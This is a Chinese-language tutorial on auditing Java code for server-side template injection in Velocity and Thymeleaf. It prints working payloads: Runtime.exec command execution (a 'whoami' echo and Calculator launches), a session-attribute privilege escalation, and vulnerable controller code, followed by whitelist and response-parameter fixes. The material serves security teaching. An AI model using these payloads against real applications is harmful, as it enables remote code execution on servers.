【Java代码审计】SSTI模板注入篇

2024-04-03 05:04

本文主要是介绍【Java代码审计】SSTI模板注入篇,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

【Java代码审计】SSTI模板注入篇

  • 1.概述
  • 2.Velocity 模板引擎
  • 3.Thymeleaf 模板注入复现
    • 普通
    • url作为视图
  • 4.SSTI 漏洞修复
    • 白名单控制跳转模版
    • 设置response参数

1.概述

模板引擎支持使用静态模板文件,在运行时用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。当前广泛应用的模板引擎有 Smarty、Twig、Jinja2、FreeMarker 及 Velocity 等。若攻击者可以完全控制输入模板的指令,并且模板能够在服务器端被成功地进行解析,则会造成模板注入漏洞

SSTI 漏洞的危害有:任意代码执行,获取 SHELL, 破坏服务器完整性等


2.Velocity 模板引擎

在 Java 中有以下这些常见的模板引擎:XMLTemplate、Velocity、CommonTemplate、
FreeMarker、Smarty4j、TemplateEngine 等,Velocity 在 Java 中使用较多

在 Velocity 中我们以"#"来标识 Velocity 的脚本语句,比如#set、#if、#else、#end、#foreach、#iinclude、#parse

例如:

#if($msg.img)
<img src="$msg.img" border=0> 
#else
<img src="qccp.jpg">
#end

"$"在 Velocity 中可以用来标识一个对象。根据 SpEL 表达式注入的知识,我们知道一旦可以调用对象,便有办法构造命令执行语句

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec()

在 Velocity 模板注入中,如果无法进行命令执行,那么我们往往可以通过修改 Cookie
来进行特权升级,例如:

$session.setAttribute("IS_ADMIN","1")

在漏洞不存在回显的情况下,并且容器为 Tomcat7 时,可以通过下面这种方法来构造一个拥有回显的命令执行:

#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read())) 
#end

3.Thymeleaf 模板注入复现

普通

漏洞代码:

public String thymeleafVul(@RequestParam String lang) {// 模版文件参数可控return "lang/" + lang;
}

触发payload:

http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27open%20-a%20Calculator%27).getInputStream()).next()%7d__::.x

成功RCE:

在这里插入图片描述

url作为视图

漏洞代码:

@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {log.info("[vul] SSTI payload: " + document);
}

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析,在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞

触发payload:

http://127.0.0.1:8888/SSTI/doc/vul/__$%7BT(java.lang.Runtime).getRuntime().exec('open%20-a%20Calculator')%7D__::.x

成功RCE:

在这里插入图片描述


4.SSTI 漏洞修复

要修复 SSTI 漏洞的话,应避免用户能够直接控制模板的输入并对其进行过滤。如需要向用户公开模板编辑,则可以选择无逻辑的模板引擎,如 Handlebars 、Moustache 等

白名单控制跳转模版

public String thymeleafSafe(@RequestParam String lang) {List<String> white_list = new ArrayList<String>();white_list.add("en");white_list.add("zh");if (white_list.contains(lang)) {return "lang/" + lang;} else {return "commons/401";}
}

此时,白名单外的输入将被拦截:

在这里插入图片描述

设置response参数

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

@GetMapping("/doc/safe/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("[safe] SSTI payload: " + document);
}

此时,再次触发payload,已经无法RCE:

在这里插入图片描述

这篇关于【Java代码审计】SSTI模板注入篇的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/871964

相关文章

Java NoClassDefFoundError运行时错误分析解决

《JavaNoClassDefFoundError运行时错误分析解决》在Java开发中,NoClassDefFoundError是一种常见的运行时错误,它通常表明Java虚拟机在尝试加载一个类时未能... 目录前言一、问题分析二、报错原因三、解决思路检查类路径配置检查依赖库检查类文件调试类加载器问题四、常见

Java注解之超越Javadoc的元数据利器详解

《Java注解之超越Javadoc的元数据利器详解》本文将深入探讨Java注解的定义、类型、内置注解、自定义注解、保留策略、实际应用场景及最佳实践,无论是初学者还是资深开发者,都能通过本文了解如何利用... 目录什么是注解?注解的类型内置注编程解自定义注解注解的保留策略实际用例最佳实践总结在 Java 编程

Java 实用工具类Spring 的 AnnotationUtils详解

《Java实用工具类Spring的AnnotationUtils详解》Spring框架提供了一个强大的注解工具类org.springframework.core.annotation.Annot... 目录前言一、AnnotationUtils 的常用方法二、常见应用场景三、与 JDK 原生注解 API 的

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》:本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景:在controller编写的接口,在前后端交互过程中一般都会涉及

Java中的StringBuilder之如何高效构建字符串

《Java中的StringBuilder之如何高效构建字符串》本文将深入浅出地介绍StringBuilder的使用方法、性能优势以及相关字符串处理技术,结合代码示例帮助读者更好地理解和应用,希望对大家... 目录关键点什么是 StringBuilder?为什么需要 StringBuilder?如何使用 St

使用Java将各种数据写入Excel表格的操作示例

《使用Java将各种数据写入Excel表格的操作示例》在数据处理与管理领域,Excel凭借其强大的功能和广泛的应用,成为了数据存储与展示的重要工具,在Java开发过程中,常常需要将不同类型的数据,本文... 目录前言安装免费Java库1. 写入文本、或数值到 Excel单元格2. 写入数组到 Excel表格

Java并发编程之如何优雅关闭钩子Shutdown Hook

《Java并发编程之如何优雅关闭钩子ShutdownHook》这篇文章主要为大家详细介绍了Java如何实现优雅关闭钩子ShutdownHook,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起... 目录关闭钩子简介关闭钩子应用场景数据库连接实战演示使用关闭钩子的注意事项开源框架中的关闭钩子机制1.

利用Python打造一个Excel记账模板

《利用Python打造一个Excel记账模板》这篇文章主要为大家详细介绍了如何使用Python打造一个超实用的Excel记账模板,可以帮助大家高效管理财务,迈向财富自由之路,感兴趣的小伙伴快跟随小编一... 目录设置预算百分比超支标红预警记账模板功能介绍基础记账预算管理可视化分析摸鱼时间理财法碎片时间利用财

Maven中引入 springboot 相关依赖的方式(最新推荐)

《Maven中引入springboot相关依赖的方式(最新推荐)》:本文主要介绍Maven中引入springboot相关依赖的方式(最新推荐),本文给大家介绍的非常详细,对大家的学习或工作具有... 目录Maven中引入 springboot 相关依赖的方式1. 不使用版本管理(不推荐)2、使用版本管理(推

Java 中的 @SneakyThrows 注解使用方法(简化异常处理的利与弊)

《Java中的@SneakyThrows注解使用方法(简化异常处理的利与弊)》为了简化异常处理,Lombok提供了一个强大的注解@SneakyThrows,本文将详细介绍@SneakyThro... 目录1. @SneakyThrows 简介 1.1 什么是 Lombok?2. @SneakyThrows